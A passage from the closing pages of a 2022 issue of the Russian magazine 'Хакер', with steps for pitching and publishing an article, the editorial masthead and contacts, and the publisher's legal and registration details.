предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

Если хочешь публиковаться в «Хакере», придумай тему для первой статьи


и предложи редакции.
№10 (295)
Андрей Письменный Валентин Холмогоров Илья Русанен
Главный редактор Ведущий редактор Разработка
pismenny@glc.ru valentin@holmogorov.ru rusanen@glc.ru
Евгения Шарипова
Литературный редактор

MEGANEWS
Мария Нефёдова
nefedova@glc.ru

АРТ
yambuto
yambuto@gmail.com

КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев

РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru

Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022

Вам также может понравиться